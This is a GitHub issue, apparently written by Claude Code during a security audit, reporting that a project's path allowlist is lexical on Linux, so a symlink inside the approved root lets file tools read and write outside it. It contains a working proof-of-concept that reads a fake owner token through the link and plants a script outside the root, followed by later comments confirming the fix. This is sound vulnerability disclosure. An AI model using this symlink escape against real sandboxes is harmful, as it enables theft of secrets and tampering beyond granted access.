Skip to content
This repository was archived by the owner on Oct 23, 2026. It is now read-only.
This repository was archived by the owner on Oct 23, 2026. It is now read-only.

Invariant gap: assertAllowedPath is lexical on Linux — symlink inside approved root escapes for read/write/edit #496

Closed

Description

@James3014

Invariant

File tools never reach outside the approved root.

Normative authority: AGENTS.md 'Security boundaries'; docs/security.md 'Filesystem Allowlist'

Coverage status: BYPASS_PATH_EXISTS · Severity: HIGH

Enforcement gap

src/roots.ts:21-57 assertAllowedPath/isPathInsideRoot compares resolve+relative lexically; realpath only for darwin/win32 case folding (:37). Sink server.ts:4121/4241/4353 → workspaces.ts:661 → pi-tools.ts:107/118/128 follows the link. roots.test.ts never tests containment through a symlink.

Minimal reproducer

Run against James3014/devspace @ e7f6397c9123ec682832fb31bdda06dd0c2e5352 (reproducers import the real production code; absolute paths assume a /home/user/<repo> checkout).

devspace/symlink_escape.mts ()
// Path containment is lexical on Linux: a symlink inside the workspace root lets
// read/write file tools reach files outside every allowed root.
import { mkdtempSync, mkdirSync, symlinkSync, writeFileSync, readFileSync, existsSync } from "node:fs";
import { join } from "node:path";
import { tmpdir } from "node:os";
const SRC = process.env.DEVSPACE_SRC!;
const { readFileTool, writeFileTool } = await import(`${SRC}/pi-tools.ts`);
const { assertAllowedPath } = await import(`${SRC}/roots.ts`);
const base = mkdtempSync(join(tmpdir(), "ds-symlink-"));
const root = join(base, "allowed-root"); const outside = join(base, "outside-secret");
mkdirSync(root); mkdirSync(outside);
writeFileSync(join(outside, "auth.json"), '{"ownerToken":"TOP-SECRET"}');
symlinkSync(outside, join(root, "vendor-link"), "dir");       // e.g. committed in a cloned repo
const ctx = { root, cwd: root };
console.log("assertAllowedPath(vendor-link/auth.json) ->", assertAllowedPath(join(root, "vendor-link/auth.json"), [root]));
try { assertAllowedPath(join(outside, "auth.json"), [root]); } catch (e: any) { console.log("direct outside path ->", e.name); }
const r = await readFileTool({ path: "vendor-link/auth.json" }, ctx);
console.log("read isError:", !!r.isError, "content:", JSON.stringify(r.content?.[0]?.text ?? r.content).slice(0, 80));
const w = await writeFileTool({ path: "vendor-link/planted.sh", content: "echo pwned\n" }, ctx);
console.log("write isError:", !!w.isError, "| file created OUTSIDE root:", existsSync(join(outside, "planted.sh")), readFileSync(join(outside, "planted.sh"), "utf8").trim());

Observed

assertAllowedPath(vendor-link/auth.json) -> .../allowed-root/vendor-link/auth.json
direct outside path -> AccessDeniedError
read isError: false content: "{\"ownerToken\":\"TOP-SECRET\"}"
write isError: false | file created OUTSIDE root: true

Bounded fix (suggested; no architecture change)

Additionally require isPathInsideRoot(canonicalizePath(path), canonicalizePath(root)) (realpath of nearest existing ancestor) on all platforms.

Acceptance: a negative/tamper test that asserts the rejected behavior at the enforcing sink (not object shape), plus the existing positive path still passing.

Related issues

none found

Provenance

Repository-wide Invariant Enforcement Coverage Audit, 2026-10-11 (finding DS-1). Read-only audit; reproducers and the full INVARIANT_COVERAGE_MATRIX are on branch claude/nexus-invariant-coverage-audit-k9sce3 of James3014/Nexus-new under docs/audits/2026-10-11-invariant-coverage/. This Issue is a bounded finding, not an implementation authorization.


Generated by Claude Code

Activity

  1. github-actions commented on Oct 11, 2026

    @github-actions

    Authority: RESEARCH_OBSERVATION_ONLY / NO_ENGINEERING_AUTHORITY

    Hybrid replication capture receipt
    {
      "body_gzip_base64": "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",
      "capture_sha256": "94d28c0d27334de8a171b375319c104b71a8b5bd2f82c8c9017ce1223ca7bce6",
      "captured_at": "2026-10-11T08:50:24Z",
      "contract_sha256": "616ba94a66a311534b63aff12843fe4e718f03a58b9f8ee155ffa716b55cbae7",
      "created_at": "2026-10-11T08:50:16Z",
      "default_branch": "main",
      "issue_number": 496,
      "issue_updated_at": "2026-10-11T08:50:16Z",
      "pre_implementation_revision": "e7f6397c9123ec682832fb31bdda06dd0c2e5352",
      "repository": "James3014/devspace",
      "schema": "nexus.hybrid_replication.capture.v1",
      "source_event_id": "actions:38126219853:1",
      "title": "Invariant gap: assertAllowedPath is lexical on Linux — symlink inside approved root escapes for read/write/edit"
    }
  2. github-actions commented on Oct 11, 2026

    @github-actions

    Authority: RESEARCH_OBSERVATION_ONLY / NO_ENGINEERING_AUTHORITY

    {
      "body_gzip_base64": "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",
      "delta_sha256": "18ba81a2b15e0e2fbfec924296f5ab34d653304196b4493aabc18a3108ebe7e8",
      "edited_at": "2026-10-11T11:15:06Z",
      "issue_updated_at": "2026-10-11T11:15:00Z",
      "original_capture_sha256": "94d28c0d27334de8a171b375319c104b71a8b5bd2f82c8c9017ce1223ca7bce6",
      "schema": "nexus.hybrid_replication.contract_delta.v1",
      "source_event_id": "actions:38134866468:1",
      "task_key": "James3014/devspace#496",
      "title": "Invariant gap: assertAllowedPath is lexical on Linux — symlink inside approved root escapes for read/write/edit"
    }
  3. james3014-nexus-agent commented on Oct 16, 2026

    @james3014-nexus-agent

    Verified fixed by #502 (c22dd33) — closing

    Re-ran the reproducer from this Issue body verbatim against devspace main e1caddf (2026-10-16, macOS, tsx):

    assertAllowedPath(<root>/vendor-link/auth.json) (symlink to a dir outside the root) now throws AccessDeniedError; isPathInsideRoot requires canonical (realpath) containment on every platform. Regression tests: src/roots.test.ts (added in #502).

    The escape the Issue reproduced is now rejected at the enforcing sink. #502 used Refs pending verification; this is that verification (Issue bundle D, worker containment).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions